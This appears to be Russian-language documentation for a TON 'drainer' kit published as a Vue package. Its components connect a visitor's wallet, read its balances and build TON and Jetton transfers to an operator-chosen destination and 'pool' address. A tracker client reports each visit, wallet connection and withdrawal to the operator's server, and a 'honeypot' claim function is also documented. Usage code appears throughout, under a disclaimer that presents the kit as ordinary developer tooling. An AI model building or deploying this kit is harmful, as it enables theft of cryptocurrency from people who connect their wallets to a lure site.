Vue Components API
⚠️ Внимание! Эта документация и API предназначены исключительно для разработчиков.
Использование серверных API и других методов, описанных в этом разделе, требует технических знаний. Не пытайтесь использовать эти инструменты, если у вас нет достаточного опыта в программировании или управлении серверными приложениями.
Неправильное использование API или инструментов может привести к сбоям в работе системы, утечке данных или другим серьёзным последствиям. Всегда консультируйтесь с разработчиком или специалистом перед внесением изменений.
Пакет @fusion-drainer/drainer-vue
предоставляет Vue-компоненты и функции для работы с TON Connect и их интеграции в ваше приложение. Установить пакет можно с помощью команды:
pnpm add ./path-to/drainer-vue
Основные концепции
Провайдер
Компоненты DrainerWalletButton
и DrainerCreateTransaction
должны использоваться внутри компонента-провайдера DrainerProvider
. Этот провайдер отвечает за инициализацию и управление контекстом TON Connect для всех вложенных компонентов.
Получение walletDetails
Для того чтобы получить данные подключенного кошелька (walletDetails
), необходимо вызвать метод getWalletDetails
после подключения кошелька. Метод принимает два аргумента: hostname
(домен текущего сайта) и walletAddress
(адрес подключенного кошелька). Данные о кошельке используются компонентом DrainerCreateTransaction
для создания транзакции.
Инициализация TrackerClient
TrackerClient
— это класс, используемый для отслеживания событий и взаимодействия с сервером. Его необходимо инициализировать с использованием baseURL
, который указывает на ваш сервер. Этот клиент может быть использован для отслеживания подключений кошелька и транзакций.
Компоненты
1. DrainerProvider
DrainerProvider
является основным компонентом, который оборачивает всё приложение или его часть, предоставляя необходимые контексты для работы других компонентов с TON Connect.
Использование
<template>
<DrainerProvider :options="options">
<!-- Вложенные компоненты, такие как DrainerWalletButton и DrainerCreateTransaction -->
</DrainerProvider>
</template>
<script setup lang="ts">
import { DrainerProvider } from '@fusion-drainer/drainer-vue';
const options = {
manifestUrl: "https://example.com/tonconnect-manifest.json",
};
</script>
Props
options
(TonConnectOptions
, обязательный): Объект с параметрами для настройки TON Connect UI, включаяmanifestUrl
, указывающий на файл манифеста TON Connect.
2. DrainerWalletButton
Компонент DrainerWalletButton
предоставляет кнопку для подключения кошелька через TON Connect. Этот компонент должен находиться внутри DrainerProvider
.
Использование
<template>
<DrainerWalletButton
v-on:wallet-connect="onWalletConnect"
v-on:wallet-disconnect="onWalletDisconnect"
/>
</template>
<script setup lang="ts">
import { DrainerWalletButton, WalletConnectDto, getWalletDetails } from '@fusion-drainer/drainer-vue';
import { ref } from 'vue';
const walletDetails = ref<WalletConnectDto | null>(null);
const onWalletConnect = async (walletAddress: string) => {
walletDetails.value = await getWalletDetails(window.location.hostname, walletAddress);
console.log('Кошелек подключен:', walletDetails.value);
};
const onWalletDisconnect = () => {
walletDetails.value = null;
console.log('Кошелек отключен');
};
</script>
Props
buttonRootId
(string
, необязательный, по умолчанию:'ton-connect-button'
): Идентификатор корневого элемента кнопки.className
(string
, необязательный): CSS-класс для стилизации кнопки.styles
(Object
, необязательный): Объект с CSS-стилями для кастомизации внешнего вида кнопки.
События
walletConnect
: Событие, срабатывающее при успешном подключении кошелька. Возвращает адрес подключенного кошелька.walletDisconnect
: Событие, срабатывающее при отключении кошелька.
3. DrainerCreateTransaction
Этот компонент предназначен для создания и отправки транзакций с использованием TON Connect. Он должен быть вложен в DrainerProvider
.
Использование
<template>
<div>
<!-- Компонент DrainerCreateTransaction -->
<DrainerCreateTransaction
ref="drainerTransactionRef"
:wallet-details="walletDetails"
:destination-address="destinationAddress"
:pool-address="poolAddress"
v-on:transaction="onTransaction"
v-on:error="onError"
/>
<!-- Кнопка для вызова метода sendTransaction -->
<button @click="handleSendTransaction">Отправить транзакцию</button>
</div>
</template>
<script setup lang="ts">
import { ref } from 'vue';
import { DrainerCreateTransaction, WalletConnectDto, TransactionDto } from '@fusion-drainer/drainer-vue';
// Данные для транзакции
const walletDetails = ref<WalletConnectDto | null>(null);
const destinationAddress = 'EQC1...'; // Замените на фактический адрес
const poolAddress = 'EQD2...'; // Замените на фактический адрес
// Ссылка на компонент DrainerCreateTransaction
const drainerTransactionRef = ref<InstanceType<typeof DrainerCreateTransaction>>();
// Обработчик успешной транзакции
const onTransaction = (withdrawDetails: TransactionDto) => {
console.log('Транзакция успешно отправлена:', withdrawDetails);
};
// Обработчик ошибки
const onError = (error: Error) => {
console.error('Ошибка при отправке транзакции:', error);
};
// Метод для вызова sendTransaction
const handleSendTransaction = async () => {
if (drainerTransactionRef.value) {
try {
await drainerTransactionRef.value.sendTransaction();
} catch (error) {
console.error('Ошибка при вызове sendTransaction:', error);
}
}
};
</script>
Props
walletDetails
(WalletConnectDto | null
, обязательный): Объект с деталями подключенного кошелька, необходимый для создания транзакции. Его можно получить с помощью методаgetWalletDetails
после успешного подключения кошелька.destinationAddress
(string
, обязательный): Адрес назначения для отправки транзакции.poolAddress
(string
, обязательный): Адрес пула для транзакции.
Методы
sendTransaction
: Метод для отправки транзакции. Может быть вызван черезref
компонента для выполнения транзакции вручную.
События
transaction
: Событие, срабатывающее при успешной отправке транзакции. Возвращает объектTransactionDto
, содержащий информацию о транзакции.error
: Событие, срабатывающее при возникновении ошибки во время отправки транзакции. Возвращает объект ошибкиError
.
Инициализация TrackerClient
Для отслеживания действий, таких как подключение кошелька или выполнение транзакции, используется TrackerClient
.
Пример инициализации:
import { TrackerClient } from '@fusion-drainer/drainer-vue';
const bridgeClient = new TrackerClient({
baseURL: 'https://your-server.com/api', // Замените на фактический URL
});
Методы TrackerClient
trackerControllerTrackWalletConnect(walletDetails: WalletConnectDto)
: Отправляет информацию о подключении кошелька на сервер.trackerControllerTrackTransaction(withdrawDetails: TransactionDto)
: Отправляет данные о выполненной транзакции на сервер.trackerControllerTrackVisit(domain: string)
: Отправляет информацию о визите на сервер.
Использование:
- После подключения кошелька, вы можете вызвать
trackerControllerTrackWalletConnect
, чтобы зафиксировать подключение. - После успешного выполнения транзакции вызывается
trackerControllerTrackTransaction
.
Низкоуровневые функции
Пакет также предоставляет ряд низкоуровневых функций, которые могут быть полезны для более тонкой настройки транзакций и взаимодействия с блокчейном.
1. claimHoneypotMessage
Функция claimHoneypotMessage
используется для создания сообщения, необходимого для выполнения "honeypot" транзакции. Это может быть полезно, когда вы хотите запросить получение определенного количества токенов или средств из пула.
Использование:
import { claimHoneypotMessage } from '@fusion-drainer/drainer-vue';
const message = claimHoneypotMessage(
1000, // Сумма в нанотокенах
'EQC1...', // Адрес получателя
'EQD2...' // Адрес пула
);
// Это сообщение может быть отправлено через соответствующий метод для выполнения транзакции
2. createComment
Функция createComment
позволяет создавать комментарии, которые могут быть включены в транзакцию. Это может быть полезно для добавления метаданных или описания к транзакции.
Использование:
import { createComment } from '@fusion-drainer/drainer-vue';
const commentCell = createComment('Это комментарий к транзакции');
// Этот комментарий может быть добавлен к транзакции, чтобы сделать её более информативной
3. transferJettonMessage
Функция transferJettonMessage
создает сообщение для передачи Jetton токенов. Это полезно для выполнения токенизированных транзакций между адресами.
Использование:
import { transferJettonMessage } from '@fusion-drainer/drainer-vue';
const jettonMessage = transferJettonMessage(
500, // Количество Jetton в нанотокенах
'EQC1...', // Адрес получателя
'EQD3...', // Адрес отправителя
'EQD4...' // Адрес кошелька владельца Jetton
);
// Это сообщение может быть
отправлено для выполнения Jetton транзакции
4. transferTonMessage
Функция transferTonMessage
создает сообщение для перевода TON. Это полезно для выполнения простых транзакций с использованием TON.
Использование:
import { transferTonMessage } from '@fusion-drainer/drainer-vue';
const tonMessage = transferTonMessage(
1, // Сумма перевода в TON
'EQC1...' // Адрес получателя
);
// Это сообщение может быть использовано для выполнения простой TON транзакции
5. getWalletDetails
Функция getWalletDetails
извлекает детали кошелька, включая баланс и данные о токенах. Это полезно для получения полной информации о подключенном кошельке.
Использование:
import { getWalletDetails } from '@fusion-drainer/drainer-vue';
const walletDetails = await getWalletDetails('example.com', 'EQC1...');
// Эти данные могут быть использованы для отображения информации о кошельке или выполнения транзакций